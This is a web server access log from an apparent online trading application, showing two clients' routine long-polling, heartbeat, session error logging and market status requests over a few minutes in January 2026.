[09/Jan/2026:10:25:52 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925821858 HTTP/1.1" -
[09/Jan/2026:10:25:54 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:25:54 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:25:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925828891 HTTP/1.1" -
[09/Jan/2026:10:25:57 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925826883 HTTP/1.1" -
[09/Jan/2026:10:26:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925833959 HTTP/1.1" -
[09/Jan/2026:10:26:02 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925831912 HTTP/1.1" -
[09/Jan/2026:10:26:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925839126 HTTP/1.1" -
[09/Jan/2026:10:26:07 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925836952 HTTP/1.1" -
[09/Jan/2026:10:26:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925844252 HTTP/1.1" -
[09/Jan/2026:10:26:12 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925842001 HTTP/1.1" -
[09/Jan/2026:10:26:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:26:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:26:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925849404 HTTP/1.1" -
[09/Jan/2026:10:26:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925847046 HTTP/1.1" -
[09/Jan/2026:10:26:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:26:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:26:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:26:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:26:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925854546 HTTP/1.1" -
[09/Jan/2026:10:26:22 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925852067 HTTP/1.1" -
[09/Jan/2026:10:26:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:26:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:26:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925859625 HTTP/1.1" -
[09/Jan/2026:10:26:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925857101 HTTP/1.1" -
[09/Jan/2026:10:26:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925862132 HTTP/1.1" -
[09/Jan/2026:10:26:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925864673 HTTP/1.1" -
[09/Jan/2026:10:26:38 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925867179 HTTP/1.1" -
[09/Jan/2026:10:26:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925869801 HTTP/1.1" -
[09/Jan/2026:10:26:43 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925872230 HTTP/1.1" -
[09/Jan/2026:10:26:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925874951 HTTP/1.1" -
[09/Jan/2026:10:26:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:26:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:26:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925877272 HTTP/1.1" -
[09/Jan/2026:10:26:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925880101 HTTP/1.1" -
[09/Jan/2026:10:26:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:26:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:26:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:26:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:26:53 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925882304 HTTP/1.1" -
[09/Jan/2026:10:26:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925885262 HTTP/1.1" -
[09/Jan/2026:10:26:54 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:26:54 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:26:58 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925887362 HTTP/1.1" -
[09/Jan/2026:10:26:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925890315 HTTP/1.1" -
[09/Jan/2026:10:27:03 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925892391 HTTP/1.1" -
[09/Jan/2026:10:27:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925895391 HTTP/1.1" -
[09/Jan/2026:10:27:08 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925897426 HTTP/1.1" -
[09/Jan/2026:10:27:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925900517 HTTP/1.1" -
[09/Jan/2026:10:27:13 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925902470 HTTP/1.1" -
[09/Jan/2026:10:27:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925905723 HTTP/1.1" -
[09/Jan/2026:10:27:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:27:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:27:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925907527 HTTP/1.1" -
[09/Jan/2026:10:27:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925910857 HTTP/1.1" -
[09/Jan/2026:10:27:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:27:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:27:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:27:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:27:23 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925912539 HTTP/1.1" -
[09/Jan/2026:10:27:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:27:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:27:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925915963 HTTP/1.1" -
[09/Jan/2026:10:27:28 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925917560 HTTP/1.1" -
[09/Jan/2026:10:27:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925921013 HTTP/1.1" -
[09/Jan/2026:10:27:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925922577 HTTP/1.1" -
[09/Jan/2026:10:27:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925926089 HTTP/1.1" -
[09/Jan/2026:10:27:38 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925927595 HTTP/1.1" -
[09/Jan/2026:10:27:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925931278 HTTP/1.1" -
[09/Jan/2026:10:27:43 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925932616 HTTP/1.1" -
[09/Jan/2026:10:27:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925936420 HTTP/1.1" -
[09/Jan/2026:10:27:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:27:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:27:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925937646 HTTP/1.1" -
[09/Jan/2026:10:27:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925941565 HTTP/1.1" -
[09/Jan/2026:10:27:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:27:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:27:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:27:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:27:53 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925942671 HTTP/1.1" -
[09/Jan/2026:10:27:54 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:27:54 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:27:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925946714 HTTP/1.1" -
[09/Jan/2026:10:27:58 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925947691 HTTP/1.1" -
[09/Jan/2026:10:28:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925951817 HTTP/1.1" -
[09/Jan/2026:10:28:03 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925952720 HTTP/1.1" -
[09/Jan/2026:10:28:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925956881 HTTP/1.1" -
[09/Jan/2026:10:28:08 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925957775 HTTP/1.1" -
[09/Jan/2026:10:28:10 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925962018 HTTP/1.1" -
[09/Jan/2026:10:28:13 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925962830 HTTP/1.1" -
[09/Jan/2026:10:28:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925967147 HTTP/1.1" -
[09/Jan/2026:10:28:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:28:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
